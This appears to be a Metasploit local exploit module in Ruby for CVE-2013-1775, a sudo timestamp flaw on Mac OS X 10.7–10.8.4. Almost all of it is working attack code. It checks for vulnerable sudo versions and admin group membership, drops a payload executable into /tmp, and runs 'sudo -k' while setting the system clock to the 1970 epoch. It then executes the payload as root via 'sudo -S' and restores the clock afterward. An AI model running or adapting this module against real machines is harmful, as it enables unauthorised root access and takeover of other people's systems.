Mac OS X Sudo Password Bypass

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
#  
# http://metasploit.com/  
##  
require 'shellwords'  
  
class Metasploit3 < Msf::Exploit::Local  
  
# ManualRanking because it's going to modify system time  
# Even when it will try to restore things, user should use  
# it at his own risk  
Rank = NormalRanking  
  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"  
SUDOER_GROUP = "admin"  
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]  
  
# saved clock config  
attr_accessor :time, :date, :networked, :zone, :network_server  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Mac OS X Sudo Password Bypass',  
'Description' => %q{  
This module gains a session with root permissions on versions of OS X with  
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,  
and possibly lower versions.  
  
If your session belongs to a user with Administrative Privileges  
(the user is in the sudoers file and is in the "admin group"), and the  
user has ever run the "sudo" command, it is possible to become the super  
user by running `sudo -k` and then resetting the system clock to 01-01-1970.  
  
This module will fail silently if the user is not an admin or if the user has never  
run the sudo command.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Todd C. Miller', # Vulnerability discovery  
'joev <jvennix[at]rapid7.com>', # Metasploit module  
'juan vazquez' # testing/fixing module bugs  
],  
'References' =>  
[  
[ 'CVE', '2013-1775' ],  
[ 'OSVDB', '90677' ],  
[ 'BID', '58203' ],  
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]  
],  
'Platform' => 'osx',  
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86  
}  
],  
[ 'Mac OS X x64 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86_64  
}  
],  
[ 'CMD',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 28 2013'  
))  
register_advanced_options([  
OptString.new('TMP_FILE',  
[true,'For the native targets, specifies the path that '+  
'the executable will be dropped on the client machine.',  
'/tmp/.<random>/<random>']  
),  
], self.class)  
end  
  
# ensure target is vulnerable by checking sudo vn and checking  
# user is in admin group.  
def check  
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/  
sudo_vn = $1  
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)  
# check vn between 1.6.0 through 1.7.10p6  
# and 1.8.0 through 1.8.6p6  
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)  
print_error "sudo version #{sudo_vn} not vulnerable."  
return Exploit::CheckCode::Safe  
end  
else  
print_error "sudo not detected on the system."  
return Exploit::CheckCode::Safe  
end  
  
if not user_in_admin_group?  
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."  
Exploit::CheckCode::Safe  
end  
# one root for you sir  
Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
if not user_in_admin_group?  
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")  
end  
# "remember" the current system time/date/network/zone  
print_good("User is an admin, continuing...")  
  
# drop the payload (unless CMD)  
if using_native_target?  
cmd_exec("mkdir -p #{File.dirname(drop_path)}")  
write_file(drop_path, generate_payload_exe)  
register_files_for_cleanup(drop_path)  
cmd_exec("chmod +x #{[drop_path].shelljoin}")  
print_status("Payload dropped and registered for cleanup")  
end  
  
print_status("Saving system clock config...")  
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]  
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]  
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)  
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]  
@network_server = if @networked  
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]  
end  
  
run_sudo_cmd  
end  
  
def cleanup  
print_status("Resetting system clock to original values") if @time  
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?  
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?  
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?  
  
if @networked  
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")  
unless @network_server.nil?  
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")  
end  
end  
  
print_good("Completed clock reset.") if @time  
end  
  
private  
  
def run_sudo_cmd  
print_status("Resetting user's time stamp file and setting clock to the epoch")  
cmd_exec(  
"sudo -k; \n"+  
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+  
" -setdate 01:01:1970 -settime 00:00"  
)  
  
# Run Test  
test = rand_text_alpha(4 + rand(4))  
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')  
  
print_status("Testing that user has sudoed before...")  
output = cmd_exec('echo "" | ' + sudo_cmd_test)  
  
if output =~ /incorrect password attempts\s*$/i  
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")  
elsif output =~ /#{test}/  
print_good("Test executed succesfully. Running payload.")  
else  
print_error("Unknown fail while testing, trying to execute the payload anyway...")  
end  
  
# Run Payload  
sudo_cmd_raw = if using_native_target?  
['sudo', '-S', [drop_path].shelljoin].join(' ')  
elsif using_cmd_target?  
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')  
end  
  
## to prevent the password prompt from destroying session  
## backgrounding the sudo payload in order to keep both sessions usable  
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'  
  
print_status "Running command: "  
print_line sudo_cmd  
output = cmd_exec(sudo_cmd)  
  
end  
  
# helper methods for accessing datastore  
def using_native_target?; target.name =~ /native/i; end  
def using_cmd_target?; target.name =~ /cmd/i; end  
def drop_path  
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }  
end  
  
# checks that the user is in OSX's admin group, necessary to change sys clock  
def user_in_admin_group?  
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)  
end  
  
# helper methods for dealing with sudo's vn num  
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end  
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])  
vn_parts = parse_vn(vn)  
ranges.any? do |range|  
min_parts = parse_vn(range[0])  
max_parts = parse_vn(range[1])  
vn_parts.all? do |part|  
min = min_parts.shift  
max = max_parts.shift  
(min.nil? or (not part.nil? and part >= min)) and  
(part.nil? or (not max.nil? and part <= max))  
end  
end  
end  
  
end  
`